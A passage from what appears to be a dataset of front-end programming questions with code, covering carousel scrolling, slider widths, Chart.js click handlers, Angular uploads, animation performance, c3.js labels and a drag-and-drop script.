wrap.style.overflow = 'hidden ' ; inner.style.overflowY = 'hidden ' ; inner.style.overflowX = 'auto ' ; wrap.style.height = inner.scrollHeight + 'px ' ; window.onresize = function ( ) { wrap.style.height = inner.scrollHeight + 'px ' ; inner.scrollLeft = 0 ; inner.scrollLeft = getWidth ( items [ 0 ] ) / 2 ; } ; inner.scrollLeft = getWidth ( items [ 0 ] ) / 2 ; oldScroll = inner.scrollLeft ; inner.onscroll = function ( ) { if ( inner.scrollLeft < oldScroll ) { log ( 'scroll right ' ) ; inner.appendChild ( inner.querySelector ( '.item : first-child ' ) ) ; inner.querySelector ( '.item : first-child ' ) .appendChild ( darken1 ) ; inner.querySelector ( '.item : nth-child ( 3 ) ' ) .appendChild ( darken2 ) ; } else if ( inner.scrollLeft > oldScroll ) { log ( 'scroll left ' ) ; var first = inner.querySelector ( '.item : first-child ' ) ; var last = inner.querySelector ( '.item : last-child ' ) ; inner.insertBefore ( last , first ) ; inner.querySelector ( '.item : first-child ' ) .appendChild ( darken1 ) ; inner.querySelector ( '.item : nth-child ( 3 ) ' ) .appendChild ( darken2 ) ; } inner.scrollLeft = 0 ; inner.scrollLeft = getWidth ( items [ 0 ] ) / 2 ; oldScroll = inner.scrollLeft ; } ; * , * : :before , * : :after { box-sizing : border-box ; } html , body { padding : 0 ; margin : 0 ; max-height : 100 % ; overflow : hidden ; } .wrap { position : relative ; } .control { font-weight : bold ; text-decoration : none ; display : inline-block ; position : absolute ; padding : 10px ; background : rgba ( 255 , 255 , 255 , 0.5 ) ; top : 50 % ; transform : translateY ( -50 % ) ; color : # FFF ; font-size : 20pt ; } .control-left { padding-right : 20px ; border-top-right-radius : 50 % ; border-bottom-right-radius : 50 % ; left : 0 ; } .control-right { padding-left : 20px ; border-top-left-radius : 50 % ; border-bottom-left-radius : 50 % ; right : 0 ; } .inner { font-size : 0 ; white-space : nowrap ; overflow : auto ; } .item { position : relative ; display : inline-block ; font-size : 1rem ; white-space : initial ; padding-bottom : 33.3333 % ; width : 50 % ; } .item .darken { position : absolute ; top : 0 ; left : 0 ; right : 0 ; bottom : 0 ; background-color : rgba ( 0 , 0 , 0 , 0.8 ) ; } .item [ data-n= '' 2 '' ] { background-image : url ( http : //www.lorempixel.com/400/300/animals ) ; background-size : cover ; } .item [ data-n= '' 3 '' ] { background-image : url ( http : //www.lorempixel.com/400/300/business ) ; background-size : cover ; } .item [ data-n= '' 4 '' ] { background-image : url ( http : //www.lorempixel.com/400/300/cats ) ; background-size : cover ; } .item [ data-n= '' 5 '' ] { background-image : url ( http : //www.lorempixel.com/400/300/city ) ; background-size : cover ; } .item [ data-n= '' 6 '' ] { background-image : url ( http : //www.lorempixel.com/400/300/food ) ; background-size : cover ; } .item [ data-n= '' 7 '' ] { background-image : url ( http : //www.lorempixel.com/400/300/nightlife ) ; background-size : cover ; } .item [ data-n= '' 8 '' ] { background-image : url ( http : //www.lorempixel.com/400/300/fashion ) ; background-size : cover ; } .item [ data-n= '' 9 '' ] { background-image : url ( http : //www.lorempixel.com/400/300/people ) ; background-size : cover ; } .item [ data-n= '' 10 '' ] { background-image : url ( http : //www.lorempixel.com/400/300/nature ) ; background-size : cover ; } .item [ data-n= '' 11 '' ] { background-image : url ( http : //www.lorempixel.com/400/300/sports ) ; background-size : cover ; } .item [ data-n= '' 12 '' ] { background-image : url ( http : //www.lorempixel.com/400/300/technics ) ; background-size : cover ; } .item [ data-n= '' 13 '' ] { background-image : url ( http : //www.lorempixel.com/400/300/transport ) ; background-size : cover ; } < div class= '' wrap '' > < div class= '' inner '' > < div class= '' item '' data-n= '' 2 '' > < /div > < div class= '' item '' data-n= '' 3 '' > < /div > < div class= '' item '' data-n= '' 4 '' > < /div > < div class= '' item '' data-n= '' 5 '' > < /div > < div class= '' item '' data-n= '' 6 '' > < /div > < div class= '' item '' data-n= '' 7 '' > < /div > < div class= '' item '' data-n= '' 8 '' > < /div > < div class= '' item '' data-n= '' 9 '' > < /div > < div class= '' item '' data-n= '' 10 '' > < /div > < div class= '' item '' data-n= '' 11 '' > < /div > < div class= '' item '' data-n= '' 12 '' > < /div > < div class= '' item '' data-n= '' 13 '' > < /div > < /div > < /div > < div class= '' log '' > < /div >",Android set scrollLeft while updating content on scroll event does not update scrollbar position "JS : Ok i coded some html pages . I integrated a jQuery slider there . Slider name orbit slider.My site use fluid layout . If you minimize the page vertically , you can see the right corner images moving left side . But i have some problem . I want to move the right side slider navigation too when the user shrink the page vertically.The problem is i could n't apply 100 % width in the slider . Slider automatically create the width based on image size . I do n't know how to change it to 100 % width.You can check the slider in this page . Click here to see the pageThis is my javascript file . Javascript fileThis is the place where the javascript uses width.You can check it in the javascript file . I want the width 100 % . Please give me some idea . Thanks var b = 0 , p = 0 , h , v , u , f = d ( this ) .addClass ( `` orbit '' ) , c = f.wrap ( ' < div class= '' orbit-wrapper '' / > ' ) .parent ( ) ; f.add ( h ) .width ( `` 1px '' ) .height ( `` 1px '' ) ; var e = f.children ( `` img , a , div '' ) ; e.each ( function ( ) { var a = d ( this ) , b = a.width ( ) , a = a.height ( ) ; b > f.width ( ) & & ( f.add ( c ) .width ( b ) , h = f.width ( ) ) ; a > f.height ( ) & & ( f.add ( c ) .height ( a ) , v = f.height ( ) ) ; p++ } ) ;",Please help me to fix html div width in javascript "JS : I am trying to show a bootstrap modal when clicking individual bars instead of tooltip in chart js.I have written the code for showing a bootstrap modal on clicking the particular x values in Line chart . But it does n't work with barchart when i changed to linecchart to barchart with same datasets . As far as i know , the diiference b/w linechart and bar chart is the graphical representation and visualization . Please correct if am wrong.Image file : Screenshot of output which i explained aboveHTML : JAVASCRIPT : This code works perfectly fine in Linechart but I want the same in Barchart which I tried but did n't get the output . < div class= '' chart1 '' > < canvas id= '' chart '' width= '' 300 '' height= '' 150 '' > < /canvas > < /div > < ! -- Modal -- > < div class= '' modal fade '' id= '' myModal '' tabindex= '' -1 '' role= '' dialog '' aria-labelledby= '' myModalLabel '' > < div class= '' modal-dialog '' role= '' document '' > < div class= '' modal-content '' > < div class= '' modal-header '' > < button type= '' button '' class= '' close '' data-dismiss= '' modal '' aria-label= '' Close '' > < span aria-hidden= '' true '' > & times ; < /span > < /button > < h4 class= '' modal-title '' id= '' myModalLabel '' > Modal title < /h4 > < /div > < div class= '' modal-body '' > You clicked in June < /div > < div class= '' modal-footer '' > < button type= '' button '' class= '' btn btn-default '' data-dismiss= '' modal '' > Close < /button > < button type= '' button '' class= '' btn btn-primary '' > Save changes < /button > < /div > < /div > < /div > < /div > < div class= '' modal fade '' id= '' myModal1 '' tabindex= '' -1 '' role= '' dialog '' aria-labelledby= '' myModalLabel '' > < div class= '' modal-dialog '' role= '' document '' > < div class= '' modal-content '' > < div class= '' modal-header '' > < button type= '' button '' class= '' close '' data-dismiss= '' modal '' aria-label= '' Close '' > < span aria-hidden= '' true '' > & times ; < /span > < /button > < h4 class= '' modal-title '' id= '' myModalLabel '' > Modal title < /h4 > < /div > < div class= '' modal-body '' > You clicked in May < div class= '' modal-footer '' > < button type= '' button '' class= '' btn btn-default '' data-dismiss= '' modal '' > Close < /button > < button type= '' button '' class= '' btn btn-primary '' > Save changes < /button > < /div > < /div > < /div > < /div > < script type= '' text/javascript '' > var data = { labels : [ `` January '' , `` February '' , `` March '' , `` April '' , `` May '' , `` June '' , `` July '' ] , datasets : [ { label : `` My First dataset '' , fillColor : `` rgba ( 220,220,220,0.2 ) '' , strokeColor : `` rgba ( 220,220,220,1 ) '' , pointColor : `` rgba ( 220,220,220,1 ) '' , pointStrokeColor : `` # fff '' , pointHighlightFill : `` # fff '' , pointHighlightStroke : `` rgba ( 220,220,220,1 ) '' , data : [ 65 , 59 , 80 , 81 , 56 , 55 , 40 ] } , { label : `` My Second dataset '' , fillColor : `` rgba ( 151,187,205,0.2 ) '' , strokeColor : `` rgba ( 151,187,205,1 ) '' , pointColor : `` rgba ( 151,187,205,1 ) '' , pointStrokeColor : `` # fff '' , pointHighlightFill : `` # fff '' , pointHighlightStroke : `` rgba ( 151,187,205,1 ) '' , data : [ 28 , 48 , 40 , 19 , 86 , 27 , 90 ] } ] } ; var canvas = document.getElementById ( `` chart '' ) ; var ctx = canvas.getContext ( `` 2d '' ) ; var chart = new Chart ( ctx ) .Line ( data , { responsive : true } ) ; canvas.onclick = function ( evt ) { var points = chart.getPointsAtEvent ( evt ) ; var value = chart.datasets [ 0 ] .points.indexOf ( points [ 0 ] ) ; if ( value == 5 ) { $ ( ' # myModal ' ) .modal ( 'show ' ) ; } else if ( value == 4 ) { $ ( ' # myModal1 ' ) .modal ( 'show ' ) ; } } ; < /script >",Bootstrap modal showing when clicking individual points in Linechart but not in individual bars in Barchart "JS : I have image upload ajax like thisAnd calling submit form ajax like this.Both are working but separately , How to combine these two ajax into one , that is submit ajax , the second one.Or is there any way to post image data in second ajax , I am using angular+laravel5.2My file input in angular view is Thanks . $ scope.uploadFile = function ( ) { var file = $ scope.myFile ; console.log ( file ) ; var uploadUrl = `` /api/upload_image '' ; //It will also goes to '/api/get_data ' //fileUpload.uploadFileToUrl ( file , uploadUrl ) ; var fd = new FormData ( ) ; fd.append ( 'file ' , file ) ; $ http.post ( uploadUrl , fd , { transformRequest : angular.identity , headers : { 'Content-Type ' : undefined } } ) .success ( function ( e ) { console.log ( `` Success '' ) ; } ) .error ( function ( e ) { console.log ( `` Error '' ) ; } ) ; } ; $ http ( { url : `` /api/get_data '' , method : `` POST '' , dataType : '' json '' , data : JSON.stringify ( this.formData ) } ) .success ( function ( data ) { console.log ( `` Success '' ) ; } ) .error ( function ( error ) { console.log ( `` Error '' ) ; } ) ; < input type= '' file '' file-model= '' myFile '' >",Combine image upload ajax with form submit ajax "JS : I have a single page website design in html , javascript and css . There are lots of images on the webpage and all have different-different animation effects according to their categories . I have used wow.js for animation effects on window scroll . While scroll through images , CPU and GPU usage is going very high , due its effect the scrolling is jerky , not smooth . Could anyone please look into this . I have created a codepen example . Please have a look : -Code below : - update : - This is just an example that i am using in webpage . Web page has different number of sections apporx . 20 sections and all are having 10 or more images . So when we are running that much images with animations the performance goes down . I have checked it on mac Safari 11 & 12 , the animation and scroll is not smooth . There is jerkiness while scrolling and animations are very slow with jerks . ( https : //codepen.io/Sny220/pen/jjyEPj ) < ! -- HTML -- > < div class= '' foo foo-text foo-2 col-md-3 col-md-offset-3 over-hidden '' > < img class= '' wow zoominoutsingle '' src= '' https : //www.psychologies.co.uk/sites/default/files/field/image/feelgood % 20chemicals.jpg '' / > < /div > < div class= '' foo foo-text foo-2 col-md-3 over-hidden '' > < img class= '' wow zoominoutsingle '' src= '' https : //kajabi-storefronts-production.global.ssl.fastly.net/kajabi-storefronts-production/blogs/1049/images/BlH7rBrRFGdVF71lofox_TFmaDj07ReWp5C4zcHaw_alex-fergus-look-and-feel-amazing-health-wellness-fat-loss-natural-banner.jpg '' / > < /div > < div class= '' foo foo-text foo-2 col-md-6 col-md-offset-3 '' > < div class= '' inner '' > < h1 class= '' wow fadeInDown '' > Hello , world ! < /h1 > < p class= '' wow fadeInUp '' > Whouaa ! ! ! < /p > < /div > < /div > < div class= '' foo foo-3 col-md-6 col-md-offset-3 '' > < div class= '' inner '' > < button type= '' button '' class= '' btn btn-success '' > Success < /button > < /div > < /div > < div class= '' foo foo-4 col-md-6 col-md-offset-3 wow fadeInDown '' > < img class= '' '' src= '' http : //www.ponpokopon.net/livresillu/unenouvellemaison1.jpg '' / > < /div > < div class= '' foo foo-5 col-md-6 col-md-offset-3 '' > < div class= '' inner '' > RUBRIQUE 3 < /div > < /div > < div data-wow-duration= '' 2s '' class= '' foo foo-1 col-md-3 col-md-offset-3 wow scale-in-ver-top '' > < div class= '' inner '' > < img class= '' '' src= '' http : //www.ponpokopon.net/livresillu/unenouvellemaison2.jpg '' / > < /div > < /div > < div data-wow-duration= '' 2s '' class= '' foo foo-2 col-md-3 wow scale-in-ver-top '' > < div class= '' inner '' > < img class= '' '' src= '' https : //media.treehugger.com/assets/images/2018/07/nature-benefits.jpg.860x0_q70_crop-scale.jpg '' / > < /div > < /div > < div data-wow-duration= '' 2s '' class= '' col-md-3 col-md-offset-3 margin-top-20 swing '' > < div class= '' inner '' > < img class= '' wow swing-in-top-fwd '' src= '' https : //www.thewaltdisneycompany.com/wp-content/uploads/ENVIRONMENT_header-option_Disney_Conservation_Fund_0348HC.jpg '' / > < /div > < /div > < div class= '' col-md-6 col-md-offset-3 bg-color '' > < h1 class= '' wow fadeInDown '' > Next Section < /h1 > < /div > < ! -- HTML -- > < div class= '' foo foo-text foo-2 col-md-3 col-md-offset-3 over-hidden '' > < img class= '' wow zoominoutsingle '' src= '' https : //www.psychologies.co.uk/sites/default/files/field/image/feelgood % 20chemicals.jpg '' / > < /div > < div class= '' foo foo-text foo-2 col-md-3 over-hidden '' > < img class= '' wow zoominoutsingle '' src= '' https : //kajabi-storefronts-production.global.ssl.fastly.net/kajabi-storefronts-production/blogs/1049/images/BlH7rBrRFGdVF71lofox_TFmaDj07ReWp5C4zcHaw_alex-fergus-look-and-feel-amazing-health-wellness-fat-loss-natural-banner.jpg '' / > < /div > < div class= '' foo foo-text foo-2 col-md-6 col-md-offset-3 '' > < div class= '' inner '' > < h1 class= '' wow fadeInDown '' > Hello , world ! < /h1 > < p class= '' wow fadeInUp '' > Whouaa ! ! ! < /p > < /div > < /div > < div class= '' foo foo-3 col-md-6 col-md-offset-3 '' > < div class= '' inner '' > < button type= '' button '' class= '' btn btn-success '' > Success < /button > < /div > < /div > < div class= '' foo foo-4 col-md-6 col-md-offset-3 wow fadeInDown '' > < img class= '' '' src= '' http : //www.ponpokopon.net/livresillu/unenouvellemaison1.jpg '' / > < /div > < div class= '' foo foo-5 col-md-6 col-md-offset-3 '' > < div class= '' inner '' > RUBRIQUE 3 < /div > < /div > < div data-wow-duration= '' 2s '' class= '' foo foo-1 col-md-3 col-md-offset-3 wow scale-in-ver-top '' > < div class= '' inner '' > < img class= '' '' src= '' http : //www.ponpokopon.net/livresillu/unenouvellemaison2.jpg '' / > < /div > < /div > < div data-wow-duration= '' 2s '' class= '' foo foo-2 col-md-3 wow scale-in-ver-top '' > < div class= '' inner '' > < img class= '' '' src= '' https : //media.treehugger.com/assets/images/2018/07/nature-benefits.jpg.860x0_q70_crop-scale.jpg '' / > < /div > < /div > < div data-wow-duration= '' 2s '' class= '' col-md-3 col-md-offset-3 margin-top-20 swing '' > < div class= '' inner '' > < img class= '' wow swing-in-top-fwd '' src= '' https : //www.thewaltdisneycompany.com/wp-content/uploads/ENVIRONMENT_header-option_Disney_Conservation_Fund_0348HC.jpg '' / > < /div > < /div > < div class= '' col-md-6 col-md-offset-3 bg-color '' > < h1 class= '' wow fadeInDown '' > Next Section < /h1 > < /div > < ! -- HTML -- > < div class= '' foo foo-text foo-2 col-md-3 col-md-offset-3 over-hidden '' > < img class= '' wow zoominoutsingle '' src= '' https : //www.psychologies.co.uk/sites/default/files/field/image/feelgood % 20chemicals.jpg '' / > < /div > < div class= '' foo foo-text foo-2 col-md-3 over-hidden '' > < img class= '' wow zoominoutsingle '' src= '' https : //kajabi-storefronts-production.global.ssl.fastly.net/kajabi-storefronts-production/blogs/1049/images/BlH7rBrRFGdVF71lofox_TFmaDj07ReWp5C4zcHaw_alex-fergus-look-and-feel-amazing-health-wellness-fat-loss-natural-banner.jpg '' / > < /div > < div class= '' foo foo-text foo-2 col-md-6 col-md-offset-3 '' > < div class= '' inner '' > < h1 class= '' wow fadeInDown '' > Hello , world ! < /h1 > < p class= '' wow fadeInUp '' > Whouaa ! ! ! < /p > < /div > < /div > < div class= '' foo foo-3 col-md-6 col-md-offset-3 '' > < div class= '' inner '' > < button type= '' button '' class= '' btn btn-success '' > Success < /button > < /div > < /div > < div class= '' foo foo-4 col-md-6 col-md-offset-3 wow fadeInDown '' > < img class= '' '' src= '' http : //www.ponpokopon.net/livresillu/unenouvellemaison1.jpg '' / > < /div > < div class= '' foo foo-5 col-md-6 col-md-offset-3 '' > < div class= '' inner '' > RUBRIQUE 3 < /div > < /div > < div data-wow-duration= '' 2s '' class= '' foo foo-1 col-md-3 col-md-offset-3 wow scale-in-ver-top '' > < div class= '' inner '' > < img class= '' '' src= '' http : //www.ponpokopon.net/livresillu/unenouvellemaison2.jpg '' / > < /div > < /div > < div data-wow-duration= '' 2s '' class= '' foo foo-2 col-md-3 wow scale-in-ver-top '' > < div class= '' inner '' > < img class= '' '' src= '' https : //media.treehugger.com/assets/images/2018/07/nature-benefits.jpg.860x0_q70_crop-scale.jpg '' / > < /div > < /div > < div data-wow-duration= '' 2s '' class= '' col-md-3 col-md-offset-3 margin-top-20 swing '' > < div class= '' inner '' > < img class= '' wow swing-in-top-fwd '' src= '' https : //www.thewaltdisneycompany.com/wp-content/uploads/ENVIRONMENT_header-option_Disney_Conservation_Fund_0348HC.jpg '' / > < /div > < /div > < div class= '' col-md-6 col-md-offset-3 bg-color '' > < h1 class= '' wow fadeInDown '' > Next Section < /h1 > < /div > < ! -- HTML -- > < div class= '' foo foo-text foo-2 col-md-3 col-md-offset-3 '' > < img class= '' wow scale-in-ver-top '' src= '' https : //www.psychologies.co.uk/sites/default/files/field/image/feelgood % 20chemicals.jpg '' / > < /div > < div class= '' foo foo-text foo-2 col-md-3 '' > < img class= '' wow scale-in-ver-top '' src= '' https : //kajabi-storefronts-production.global.ssl.fastly.net/kajabi-storefronts-production/blogs/1049/images/BlH7rBrRFGdVF71lofox_TFmaDj07ReWp5C4zcHaw_alex-fergus-look-and-feel-amazing-health-wellness-fat-loss-natural-banner.jpg '' / > < /div > < div class= '' foo foo-text foo-2 col-md-6 col-md-offset-3 '' > < div class= '' inner '' > < h1 class= '' wow fadeInDown '' > Hello , world ! < /h1 > < p class= '' wow fadeInUp '' > Whouaa ! ! ! < /p > < /div > < /div > < div class= '' foo foo-3 col-md-6 col-md-offset-3 '' > < div class= '' inner '' > < button type= '' button '' class= '' btn btn-success '' > Success < /button > < /div > < /div > < div class= '' foo foo-4 col-md-6 col-md-offset-3 wow fadeInDown '' > < img class= '' '' src= '' http : //www.ponpokopon.net/livresillu/unenouvellemaison1.jpg '' / > < /div > < div class= '' foo foo-5 col-md-6 col-md-offset-3 '' > < div class= '' inner '' > RUBRIQUE 3 < /div > < /div > < div data-wow-duration= '' 2s '' class= '' foo foo-1 col-md-3 col-md-offset-3 wow scale-in-ver-top '' > < div class= '' inner '' > < img class= '' '' src= '' http : //www.ponpokopon.net/livresillu/unenouvellemaison2.jpg '' / > < /div > < /div > < div data-wow-duration= '' 2s '' class= '' foo foo-2 col-md-3 wow scale-in-ver-top '' > < div class= '' inner '' > < img class= '' '' src= '' https : //media.treehugger.com/assets/images/2018/07/nature-benefits.jpg.860x0_q70_crop-scale.jpg '' / > < /div > < /div > < div data-wow-duration= '' 2s '' class= '' col-md-3 col-md-offset-3 margin-top-20 swing '' > < div class= '' inner '' > < img class= '' wow swing-in-top-fwd '' src= '' https : //www.thewaltdisneycompany.com/wp-content/uploads/ENVIRONMENT_header-option_Disney_Conservation_Fund_0348HC.jpg '' / > < /div > < /div > < div class= '' col-md-6 col-md-offset-3 bg-color '' > < h1 class= '' wow fadeInDown '' > Next Section < /h1 > < /div > < ! -- HTML -- > < div class= '' foo foo-text foo-2 col-md-3 col-md-offset-3 '' > < img class= '' wow scale-in-ver-top '' src= '' https : //www.psychologies.co.uk/sites/default/files/field/image/feelgood % 20chemicals.jpg '' / > < /div > < div class= '' foo foo-text foo-2 col-md-3 '' > < img class= '' wow scale-in-ver-top '' src= '' https : //kajabi-storefronts-production.global.ssl.fastly.net/kajabi-storefronts-production/blogs/1049/images/BlH7rBrRFGdVF71lofox_TFmaDj07ReWp5C4zcHaw_alex-fergus-look-and-feel-amazing-health-wellness-fat-loss-natural-banner.jpg '' / > < /div > < div class= '' foo foo-text foo-2 col-md-6 col-md-offset-3 '' > < div class= '' inner '' > < h1 class= '' wow fadeInDown '' > Hello , world ! < /h1 > < p class= '' wow fadeInUp '' > Whouaa ! ! ! < /p > < /div > < /div > < div class= '' foo foo-3 col-md-6 col-md-offset-3 '' > < div class= '' inner '' > < button type= '' button '' class= '' btn btn-success '' > Success < /button > < /div > < /div > < div class= '' foo foo-4 col-md-6 col-md-offset-3 wow fadeInDown '' > < img class= '' '' src= '' http : //www.ponpokopon.net/livresillu/unenouvellemaison1.jpg '' / > < /div > < div class= '' foo foo-5 col-md-6 col-md-offset-3 '' > < div class= '' inner '' > RUBRIQUE 3 < /div > < /div > < div data-wow-duration= '' 2s '' class= '' foo foo-1 col-md-3 col-md-offset-3 wow scale-in-ver-top '' > < div class= '' inner '' > < img class= '' '' src= '' http : //www.ponpokopon.net/livresillu/unenouvellemaison2.jpg '' / > < /div > < /div > < div data-wow-duration= '' 2s '' class= '' foo foo-2 col-md-3 wow scale-in-ver-top '' > < div class= '' inner '' > < img class= '' '' src= '' https : //media.treehugger.com/assets/images/2018/07/nature-benefits.jpg.860x0_q70_crop-scale.jpg '' / > < /div > < /div > < div data-wow-duration= '' 2s '' class= '' col-md-3 col-md-offset-3 margin-top-20 swing '' > < div class= '' inner '' > < img class= '' wow swing-in-top-fwd '' src= '' https : //www.thewaltdisneycompany.com/wp-content/uploads/ENVIRONMENT_header-option_Disney_Conservation_Fund_0348HC.jpg '' / > < /div > < /div > body { padding-top : 20px ; } /* set colors*/ : root { -- color-1 : forestgreen ; -- color-2 : lightskyblue ; -- color-3 : darksalmon ; -- color-4 : palegoldenrod ; -- color-5 : mediumvioletred ; } img { width : 100 % ; } .foo { margin-bottom : 10px ; color : white ; } .navbar { } .foo .inner { padding : 5px ; min-height : 20vh ; } .foo-text .inner { min-height : 60vh ! important ; } /* apply colors */.foo-1 .inner { background-color : var ( -- color-1 ) ; } .foo-2 .inner { background-color : var ( -- color-2 ) ; } .foo-3 .inner { background-color : var ( -- color-3 ) ; } .foo-4 .inner { background-color : var ( -- color-4 ) ; } .foo-5 .inner { background-color : var ( -- color-5 ) ; } .bg-color { background-color : var ( -- color-5 ) ; color : # fff ; margin-top : 20px ; margin-bottom : 20px ; } .over-hidden { overflow : hidden ; } .swing { overflow : hidden ; } .scale-in-ver-top { -webkit-animation : scale-in-ver-top 0.5s cubic-bezier ( 0.250 , 0.460 , 0.450 , 0.940 ) both ; animation : scale-in-ver-top 0.5s cubic-bezier ( 0.250 , 0.460 , 0.450 , 0.940 ) both ; } @ -webkit-keyframes scale-in-ver-top { 0 % { -webkit-transform : scaleY ( 0 ) ; transform : scaleY ( 0 ) ; -webkit-transform-origin : 100 % 0 % ; transform-origin : 100 % 0 % ; opacity : 1 ; } 100 % { -webkit-transform : scaleY ( 1 ) ; transform : scaleY ( 1 ) ; -webkit-transform-origin : 100 % 0 % ; transform-origin : 100 % 0 % ; opacity : 1 ; } } @ keyframes scale-in-ver-top { 0 % { -webkit-transform : scaleY ( 0 ) ; transform : scaleY ( 0 ) ; -webkit-transform-origin : 100 % 0 % ; transform-origin : 100 % 0 % ; opacity : 1 ; } 100 % { -webkit-transform : scaleY ( 1 ) ; transform : scaleY ( 1 ) ; -webkit-transform-origin : 100 % 0 % ; transform-origin : 100 % 0 % ; opacity : 1 ; } } .swing-in-top-fwd { -webkit-animation-name : swing-in-top-fwd ; animation-name : swing-in-top-fwd ; } @ -webkit-keyframes swing-in-top-fwd { 0 % { -webkit-transform : rotateX ( -100deg ) ; transform : rotateX ( -100deg ) ; -webkit-transform-origin : top ; transform-origin : top ; opacity : 0 ; -webkit-animation-timing-function : cubic-bezier ( 0.175 , 0.885 , 0.320 , 1.275 ) ; animation-timing-function : cubic-bezier ( 0.175 , 0.885 , 0.320 , 1.275 ) ; } 100 % { -webkit-transform : rotateX ( 0deg ) ; transform : rotateX ( 0deg ) ; -webkit-transform-origin : top ; transform-origin : top ; opacity : 1 ; -webkit-animation-timing-function : cubic-bezier ( 0.175 , 0.885 , 0.320 , 1.275 ) ; animation-timing-function : cubic-bezier ( 0.175 , 0.885 , 0.320 , 1.275 ) ; } } @ keyframes swing-in-top-fwd { 0 % { -webkit-transform : rotateX ( -100deg ) ; transform : rotateX ( -100deg ) ; -webkit-transform-origin : top ; transform-origin : top ; opacity : 0 ; -webkit-animation-timing-function : cubic-bezier ( 0.175 , 0.885 , 0.320 , 1.275 ) ; animation-timing-function : cubic-bezier ( 0.175 , 0.885 , 0.320 , 1.275 ) ; } 100 % { -webkit-transform : rotateX ( 0deg ) ; transform : rotateX ( 0deg ) ; -webkit-transform-origin : top ; transform-origin : top ; opacity : 1 ; -webkit-animation-timing-function : cubic-bezier ( 0.175 , 0.885 , 0.320 , 1.275 ) ; animation-timing-function : cubic-bezier ( 0.175 , 0.885 , 0.320 , 1.275 ) ; } } @ keyframes zoominoutsinglefeatured { 0 % { transform : scale ( 1 , 1 ) ; webkit-transform : scale ( 1 , 1 ) ; } 50 % { transform : scale ( 2 , 2 ) ; webkit-transform : scale ( 2 , 2 ) ; } 100 % { transform : scale ( 1 , 1 ) ; webkit-transform : scale ( 1 , 1 ) ; } } .zoominoutsingle { animation-name : zoominoutsinglefeatured ; webkit-animation-name : zoominoutsinglefeatured ; -webkit-animation-duration : 10s ; animation-duration : 10s ; -webkit-animation-fill-mode : both ; animation-fill-mode : both ; } wow = new WOW ( ) ; wow.init ( ) ; $ ( `` .foo-5 '' ) .hover ( function ( e ) { $ ( this ) .addClass ( 'animated pulse ' ) ; } , function ( e ) { $ ( this ) .removeClass ( 'animated pulse ' ) ; } ) ; var $ animation_elements = $ ( '.wow ' ) ; var $ window = $ ( window ) ; function check_if_in_view ( ) { var window_height = $ window.height ( ) ; var window_top_position = $ window.scrollTop ( ) ; var window_bottom_position = ( window_top_position + window_height ) ; $ .each ( $ animation_elements , function ( ) { var $ element = $ ( this ) ; var element_height = $ element.outerHeight ( ) ; var element_top_position = $ element.offset ( ) .top ; var element_bottom_position = ( element_top_position + element_height ) ; //check to see if this current container is within viewport if ( ( element_bottom_position > = window_top_position ) & & ( element_top_position < = window_bottom_position ) ) { $ element.removeClass ( 'animated ' ) ; $ element.addClass ( 'animated ' ) ; } else { $ element.css ( { 'visibility ' : 'hidden ' , 'animation-name ' : 'none ' } ) .removeClass ( 'animated ' ) ; wow.addBox ( this ) ; } } ) ; } WOW.prototype.addBox = function ( element ) { this.boxes.push ( element ) ; } ; $ window.on ( 'scroll resize ' , check_if_in_view ) ;",Animations are slowing the performance of web page "JS : The c3js.org/samples/options_subchart show the problem : the x-scale have no labels when navigating by a window selected by the subchart.How to add x-axis labels when in this dynamic-window view ? NotesThis is the chart with no window selected , and this is the chart with a window selected : see ? No x-axis labels , even when it exists ( a different day in this case ) for each point.EDIT with @ schustischuster 's sample ( enhanced with some data more ) http : //jsfiddle.net/xodyq92n/Note after @ buræquete clues about culling : false and subchart control onbrush . My real life data have ~600 items for x-axis , so no-culling causes a big blur : Then , the problem can be summarized as a need for `` intermediary culling '' . // more x-axis data to show the problem [ ' x ' , '2013-01-01 ' , '2013-01-02 ' , '2013-01-03 ' , '2013-01-04 ' , '2013-01-05 ' , '2013-01-06 ' , '2013-01-07 ' , '2013-01-08 ' , '2013-01-09 ' , '2013-01-10 ' , '2013-01-11 ' , '2013-01-12 ' , '2013-01-13 ' ]",Need to show X-axis labels on subchart selection "JS : I 've found a script that seems perfect for my needs , but it uses IDs , rather than classes to create ipad-friendly drag & drop elements.I really need it to use classes , as the draggable elements could potentially be in the thousands . [ edit ] I 'm not that great at javascript and am having difficulties in understanding how I could alter the script to use classes instead of IDs.I have also contacted the script author , but have had no reply from him.I 'm offering this bounty as I 've not had any response to my original query . Please could someone change the script below so that it uses classes ? [ /edit ] Below is the script in its entirety , and here is the script page ( API was not helpful to me in being able to use classes vs id ) . // webkitdragdrop.js v1.0 , Mon May 15 2010//// Copyright ( c ) 2010 Tommaso Buvoli ( http : //www.tommasobuvoli.com ) // No Extra Libraries are required , simply download this file , add it to your pages ! //// To See this library in action , grab an ipad and head over to http : //www.gotproject.com// webkitdragdrop is freely distributable under the terms of an MIT-style license.//Description// Because this library was designed to run without requiring any other libraries , several basic helper functions were implemented// 6 helper functons in this webkit_tools class have been taked directly from Prototype 1.6.1 ( http : //prototypejs.org/ ) ( c ) 2005-2009 Sam Stephensonvar webkit_tools = { // $ function - simply a more robust getElementById $ : function ( e ) { if ( typeof ( e ) == 'string ' ) { return document.getElementById ( e ) ; } return e ; } , //extend function - copies the values of b into a ( Shallow copy ) extend : function ( a , b ) { for ( var key in b ) { a [ key ] = b [ key ] ; } return a ; } , //empty function - used as defaut for events empty : function ( ) { } , //remove null values from an array compact : function ( a ) { var b = [ ] var l = a.length ; for ( var i = 0 ; i < l ; i ++ ) { if ( a [ i ] ! == null ) { b.push ( a [ i ] ) ; } } return b ; } , //DESCRIPTION // This function was taken from the internet ( http : //robertnyman.com/2006/04/24/get-the-rendered-style-of-an-element/ ) and returns // the computed style of an element independantly from the browser //INPUT // oELM ( DOM ELEMENT ) element whose style should be extracted // strCssRule element getCalculatedStyle : function ( oElm , strCssRule ) { var strValue = `` '' ; if ( document.defaultView & & document.defaultView.getComputedStyle ) { strValue = document.defaultView.getComputedStyle ( oElm , `` '' ) .getPropertyValue ( strCssRule ) ; } else if ( oElm.currentStyle ) { strCssRule = strCssRule.replace ( /\- ( \w ) /g , function ( strMatch , p1 ) { return p1.toUpperCase ( ) ; } ) ; strValue = oElm.currentStyle [ strCssRule ] ; } return strValue ; } , //bindAsEventListener function - used to bind events bindAsEventListener : function ( f , object ) { var __method = f ; return function ( event ) { __method.call ( object , event || window.event ) ; } ; } , //cumulative offset - courtesy of Prototype ( http : //www.prototypejs.org ) cumulativeOffset : function ( element ) { var valueT = 0 , valueL = 0 ; do { valueT += element.offsetTop || 0 ; valueL += 